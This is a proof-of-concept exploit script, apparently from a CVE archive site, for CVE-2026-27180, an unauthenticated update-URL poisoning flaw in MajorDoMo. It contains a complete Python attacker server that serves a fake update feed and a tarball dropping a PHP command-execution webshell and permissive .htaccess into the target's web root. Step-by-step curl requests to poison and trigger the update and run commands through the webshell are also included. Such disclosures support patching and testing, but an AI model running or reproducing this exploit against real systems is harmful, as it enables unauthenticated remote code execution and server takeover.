4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-27180.py PY
#!/usr/bin/env python3
# Exploit Title: MajorDoMo unauthenticated update URL poisoning leading to RCE
# CVE: CVE-2026-27180
# Date: 2026-02-19
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://github.com/sergejey/majordomo
# Software Link: https://github.com/sergejey/majordomo
# Vulnerable: Yes
# Tested on: MajorDoMo versions before commit that added authentication check (pre-PR #1177)
# Category: Remote Code Execution
# Platform: PHP / Linux
# Exploit Type: Remote
# Description:
#   Exploits CWE-494 (Download of Code Without Integrity Check) in MajorDoMo.
#   Allows unauthenticated attacker to poison the update source URL and force
#   an update that downloads and extracts attacker-controlled tar.gz directly
#   into the web root, achieving remote code execution.
#
# Usage:
#   python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port>
#
# Examples:
#   python3 exploit.py http://192.168.10.50:80 --lhost 192.168.1.100 --lport 8080
#   python3 exploit.py http://10.10.10.123 --lhost 192.168.5.77 --lport 9001
#
# Options:
#   --lhost     Attacker IP where the malicious server will listen
#   --lport     Port for the malicious HTTP server (default: 8080)
#
# Notes:
#   - The script starts a malicious HTTP server that serves:
#       /master.xml          → fake Atom feed
#       /archive/master.tar.gz  malicious tarball with webshell
#   - After running, manually trigger the two requests on the target or wait for auto-update
#   - Webshell will appear as /poc.php on the target
#
# How to Use
#
# Step 1: Run this script on your attacking machine
# Step 2: Wait for the server to start and note the displayed URLs
# Step 3: On the vulnerable target execute (via browser or curl):
#         http://target/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://<your_ip>:<your_port>
#         http://target/objects/?module=saverestore&mode=force_update
# Step 4: Wait 10–90 seconds for the update process to finish
# Step 5: Access the webshell:
#         http://target/poc.php?pass=ChangeMe123&cmd=id
#         http://target/poc.php?pass=ChangeMe123&cmd=whoami
#         http://target/poc.php?pass=ChangeMe123&cmd=uname%20-a

import http.server
import socketserver
import io
import tarfile
import gzip
from datetime import datetime
import argparse
import threading
import time
import sys

PASSWORD = "ChangeMe123"

WEBSHELL_CODE = f'''<?php
$p = "{PASSWORD}";
if (!isset($_GET["pass"]) || $_GET["pass"] !== $p) {{
    http_response_code(403);
    die("Access denied.");
}}

header("Content-Type: text/plain; charset=utf-8");

if (isset($_GET["cmd"]) && $_GET["cmd"] !== "") {{
    $cmd = $_GET["cmd"];
    echo "Running: $cmd\\n";
    echo str_repeat("-", 40) . "\\n";

    $output = [];
    $ret = -1;

    if (function_exists("system"))      {{ system($cmd, $ret); }}
    elseif (function_exists("passthru")){{ passthru($cmd, $ret); }}
    elseif (function_exists("exec"))    {{ exec($cmd, $output, $ret); }}
    elseif (function_exists("shell_exec")) {{
        echo shell_exec($cmd);
        $ret = 0;
    }}

    if (!empty($output)) {{
        echo implode("\\n", $output) . "\\n";
    }}

    echo str_repeat("-", 40) . "\\n";
    echo "Return: $ret\\n";
}} else {{
    echo "Webshell active. Use ?pass={PASSWORD}&cmd=...\\n";
    phpinfo(INFO_GENERAL);
}}
?>
'''

HTACCESS = '''<IfModule mod_php.c>
    php_flag engine on
</IfModule>
AddType application/x-httpd-php .php .phtml
AddHandler php-script .php .phtml
<FilesMatch "\\.(php|phtml)$">
    Order allow,deny
    Allow from all
</FilesMatch>'''

def build_malicious_tar_gz():
    fileobj = io.BytesIO()
    with gzip.GzipFile(fileobj=fileobj, mode='wb') as gz:
        with tarfile.open(fileobj=gz, mode='w|gz') as tar:
            info = tarfile.TarInfo("poc.php")
            info.size = len(WEBSHELL_CODE.encode())
            info.mtime = int(datetime.now().timestamp())
            info.mode = 0o644
            tar.addfile(info, io.BytesIO(WEBSHELL_CODE.encode()))

            info = tarfile.TarInfo(".htaccess")
            info.size = len(HTACCESS.encode())
            info.mtime = int(datetime.now().timestamp())
            info.mode = 0o644
            tar.addfile(info, io.BytesIO(HTACCESS.encode()))

    fileobj.seek(0)
    return fileobj.read()

class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, tarball=None, **kwargs):
        self.tarball = tarball
        super().__init__(*args, **kwargs)

    def do_GET(self):
        if self.path == "/master.xml":
            feed = f'''<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>MajorDoMo Security Update</title>
  <updated>{datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")}</updated>
  <entry>
    <id>urn:update:20260219</id>
    <updated>{datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")}</updated>
    <link rel="enclosure" href="http://{self.server.lhost}:{self.server.lport}/archive/master.tar.gz"
          type="application/x-gzip" length="{len(self.tarball)}"/>
    <title>Update 2026-02-19</title>
  </entry>
</feed>'''
            self.send_response(200)
            self.send_header("Content-type", "application/atom+xml")
            self.end_headers()
            self.wfile.write(feed.encode())

        elif self.path == "/archive/master.tar.gz":
            self.send_response(200)
            self.send_header("Content-type", "application/gzip")
            self.send_header("Content-Length", str(len(self.tarball)))
            self.end_headers()
            self.wfile.write(self.tarball)

        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"Not Found")

    def log_message(self, format, *args):
        return

def start_server(lhost, lport, tarball):
    handler = lambda *args, **kwargs: MaliciousHandler(*args, tarball=tarball, **kwargs)
    with socketserver.TCPServer((lhost, lport), handler) as httpd:
        httpd.lhost = lhost
        httpd.lport = lport
        print(f"[+] Malicious server listening on {lhost}:{lport}")
        print(f"    Feed   : http://{lhost}:{lport}/master.xml")
        print(f"    Tarball: http://{lhost}:{lport}/archive/master.tar.gz")
        print()
        print("    Poison command (run on target):")
        print(f"    curl 'http://<target>/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://{lhost}:{lport}'")
        print("    Trigger command:")
        print(f"    curl 'http://<target>/objects/?module=saverestore&mode=force_update'")
        print()
        print(f"    After update, test webshell:")
        print(f"    http://<target>/poc.php?pass={PASSWORD}&cmd=id")
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\n[+] Server stopped")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-27180 MajorDoMo Update Poisoning Exploit Server")
    parser.add_argument("target", help="Target MajorDoMo URL (e.g. http://192.168.1.50:80)")
    parser.add_argument("--lhost", required=True, help="Your IP address for malicious server")
    parser.add_argument("--lport", type=int, default=8080, help="Port for malicious server (default: 8080)")
    args = parser.parse_args()

    tarball = build_malicious_tar_gz()

    server_thread = threading.Thread(
        target=start_server,
        args=(args.lhost, args.lport, tarball),
        daemon=True
    )
    server_thread.start()

    print("[+] Server thread started. Press Ctrl+C to stop.")
    print("[+] Keep this running while you poison and trigger the target.\n")

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] Shutting down...")

if __name__ == "__main__":
    main()